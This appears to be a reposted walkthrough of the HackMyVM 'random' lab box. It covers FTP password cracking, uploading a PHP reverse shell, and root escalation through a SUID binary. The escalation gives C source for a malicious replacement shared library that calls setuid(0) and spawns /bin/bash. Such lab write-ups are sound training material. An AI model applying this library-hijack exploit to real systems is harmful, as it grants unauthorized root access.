当前位置:网站首页>hackmyvm-random walkthrough
hackmyvm-random walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get reverse shell
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
browse port 80, get the user name eleanor and alan.
crack ftp service, get the user eleanor's password.
use sftp login as eleanor , get into the path /html and upload reverse php shell, visit and get shell.
2. privilege escalation
find the program with suid, we get the file /home/alan/random.
random used Dynamic link library /lib/librooter.so which we can replace.
Disassemble random with ida.
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
v5 = atoi(argv[1]);
v3 = time(0LL);
srand(v3);
if ( v5 == rand() % 9 + 1 )
makemeroot(v3);
else
puts("Wrong number");
return 0;
Regardless of random numbers, you can enter the dynamic link function makemeroot as long as you try a few more times. We recompile the librooter.so with this code:
#include <stdlib.h>
void makemeroot()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

try a few more times, then get root.
边栏推荐
猜你喜欢
随机推荐
PHP基金会三月新闻公告发布
多线程(实现多线程、线程同步、生产者消费者)
Stable and easy-to-use short connection generation platform, supporting API batch generation
1.11今日学习
What are the PHP framework?
display,visibility,opacity
js的“类数组”及“类数组转数组”
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
DVWA drone installation tutorial
阿里云设置域名解析重定向后,无法使用Chrome访问
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝
[league/climate] A robust command-line function manipulation library
3.PHP数据类型、常量、字符串和运算符
After the mailbox of the Pagoda Post Office is successfully set up, it can be sent but not received.
宝塔邮局邮箱设置成功后能发送不能接收问题处理
New usage of string variable parsing in PHP8.2
查询数据库中所有表的索引,并且解析成sql
如何根据地图上的两个坐标点来确定方向
[phpunit/php-timer] A timer for code execution time
Kali install IDEA


![[sebastian/diff]一个比较两段文本的历史变化扩展库](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)





